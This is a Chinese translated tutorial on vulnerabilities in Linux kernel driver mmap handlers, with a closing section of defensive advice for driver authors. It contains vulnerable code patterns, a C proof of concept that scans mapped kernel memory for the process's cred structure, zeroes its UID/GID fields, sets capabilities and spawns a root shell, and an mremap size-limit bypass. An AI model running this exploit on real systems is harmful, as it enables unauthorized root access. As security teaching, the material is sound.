内核驱动mmap处理程序利用(翻译)
字数 1330 2025-08-25 22:59:03
Linux内核驱动mmap处理程序利用技术详解
1. 内核驱动程序基础
1.1 设备驱动程序文件操作
Linux内核驱动程序通过file_operations结构体定义设备文件支持的操作,包括打开、读取、写入、内存映射(mmap)和关闭等。关键结构定义如下:
struct file_operations {
struct module *owner;
loff_t (*llseek)(struct file *, loff_t, int);
ssize_t (*read)(struct file *, char __user *, size_t, loff_t *);
ssize_t (*write)(struct file *, const char __user *, size_t, loff_t *);
int (*mmap)(struct file *, struct vm_area_struct *);
int (*open)(struct inode *, struct file *);
int (*release)(struct inode *, struct file *);
// 其他操作...
};
1.2 mmap处理程序的作用
mmap处理程序的主要目的是加速用户空间与内核空间之间的数据交换,允许用户空间进程直接访问内核缓冲区或物理内存区域,无需额外的系统调用。
2. mmap处理程序实现模式
2.1 简单mmap实现
static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
{
if (remap_pfn_range(vma, vma->vm_start,
virt_to_pfn(filp->private_data),
vma->vm_end - vma->vm_start,
vma->vm_page_prot)) {
return -EAGAIN;
}
return 0;
}
这种实现直接将内核缓冲区映射到用户空间,但存在严重安全问题:未验证vma->vm_end和vma->vm_start的值,可能导致内核内存泄露。
2.2 空mmap处理程序
static int empty_mmap(struct file *filp, struct vm_area_struct *vma)
{
return 0;
}
即使处理程序为空,内核仍会创建映射,但映射无效。访问这类映射可能导致进程崩溃或内核崩溃。
2.3 使用vm_operations_struct的mmap
static struct vm_operations_struct simple_remap_vm_ops = {
.open = simple_vma_open,
.close = simple_vma_close,
.fault = simple_vma_fault,
};
static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)
{
vma->vm_private_data = filp->private_data;
vma->vm_ops = &simple_remap_vm_ops;
return 0;
}
int simple_vma_fault(struct vm_area_struct *vma, struct vm_fault *vmf)
{
unsigned long offset = ...;
struct page *page = virt_to_page(vma->vm_private_data + offset);
vmf->page = page;
get_page(page);
return 0;
}
这种实现通过fault处理程序按需映射页面,但仍可能因偏移验证不足导致安全问题。
3. 常见漏洞模式
3.1 用户输入验证缺失
问题1:未验证映射大小
remap_pfn_range(vma, vma->vm_start, virt_to_pfn(filp->private_data),
vma->vm_end - vma->vm_start, vma->vm_page_prot)
攻击者可指定超大size映射内核内存。
问题2:直接使用用户控制偏移
remap_pfn_range(vma, vma->vm_start, vma->vm_pgoff, ...)
允许攻击者映射任意物理地址。
3.2 整数溢出
unsigned int vma_size = vma->vm_end - vma->vm_start;
unsigned int offset = vma->vm_pgoff << PAGE_SHIFT;
if (vma_size + offset > 0x10000) { // 可能溢出
return -EAGAIN;
}
当vma_size=0xfffa000和offset=0xf0006时,vma_size + offset = 0x100000000会溢出为0。
3.3 有符号整数误用
int vma_size = vma->vm_end - vma->vm_start;
int offset = vma->vm_pgoff << PAGE_SHIFT;
if (vma_size > 0x10000 || offset < 0 || ...) {
return -EAGAIN;
}
攻击者可提供负值绕过检查。
4. 利用技术
4.1 利用cred结构提权
cred结构关键字段:
struct cred {
atomic_t usage;
kuid_t uid; /* real UID */
kgid_t gid; /* real GID */
kuid_t suid; /* saved UID */
kgid_t sgid; /* saved GID */
kuid_t euid; /* effective UID */
kgid_t egid; /* effective GID */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
kernel_cap_t cap_inheritable; /* inheritable caps */
kernel_cap_t cap_permitted; /* permitted caps */
kernel_cap_t cap_effective; /* effective caps */
// ...
};
提权步骤:
- 获取当前进程的UID/GID
- 扫描内存寻找匹配的8个连续UID/GID值
- 将这些值修改为0
- 检查是否获得root权限
- 修改capabilities为全1
- 启动root shell
4.2 实际利用代码示例
int main(int argc, char *const *argv) {
int fd = open("/dev/vuln_device", O_RDWR);
unsigned long size = 0xf0000000;
unsigned long *addr = mmap(0x42424000, size, PROT_READ|PROT_WRITE,
MAP_SHARED, fd, 0x0);
unsigned int uid = getuid();
while ((unsigned long)addr < (0x42424000 + size - 0x40)) {
if (addr[0] == uid && addr[1] == uid && ... addr[7] == uid) {
// 修改UID/GID为0
for (int i = 0; i < 8; i++) addr[i] = 0;
if (getuid() == 0) {
// 修改capabilities
addr += 9; // 跳过securebits
for (int i = 0; i < 5; i++) addr[i] = 0xffffffff;
execl("/bin/sh", "-", NULL);
} else {
// 恢复原值
for (int i = 0; i < 8; i++) addr[i] = uid;
}
}
addr++;
}
return 0;
}
4.3 信息泄露利用
当只能读取映射内存时,可利用fault处理程序泄露内核内存:
int simple_vma_fault(struct vm_area_struct *vma, struct vm_fault *vmf)
{
unsigned long offset = ...;
if (offset > PAGE_SIZE << 4) goto nopage_out;
page = virt_to_page(vma->vm_private_data + offset);
vmf->page = page;
get_page(page);
return 0;
}
通过映射大于驱动程序缓冲区大小的区域,可以访问缓冲区后的内核内存。
5. 高级技巧
5.1 绕过大小限制
当mmap处理程序限制映射大小时,可先创建小映射再使用mremap扩大:
unsigned long *addr = mmap(0x42424000, 0x1000, PROT_READ, MAP_SHARED, fd, 0);
addr = mremap(addr, 0x1000, 0x10000, 0);
5.2 其他危险函数
除remap_pfn_range外,以下函数也可能被滥用:
vm_insert_pagevm_insert_pfnvm_insert_pfn_protio_remap_pfn_rangeremap_vmalloc_range
5.3 漏洞存在位置
易受攻击的mmap处理程序可能存在于:
- 设备驱动程序
- proc文件系统
- sysfs/debugfs
- 自定义文件系统
- 提供文件描述符的任何子系统
6. 防御建议
- 严格验证所有用户输入:包括映射大小、偏移量和权限
- 使用无符号类型进行大小计算:避免整数溢出
- 限制可映射范围:只允许映射必要的内存区域
- 实施最小权限原则:默认只读,必要时才可写
- 启用内核安全特性:如KASLR、SMAP/SMEP等
通过理解这些漏洞模式和利用技术,开发人员可以编写更安全的驱动程序,安全研究人员也能更有效地发现和验证此类漏洞。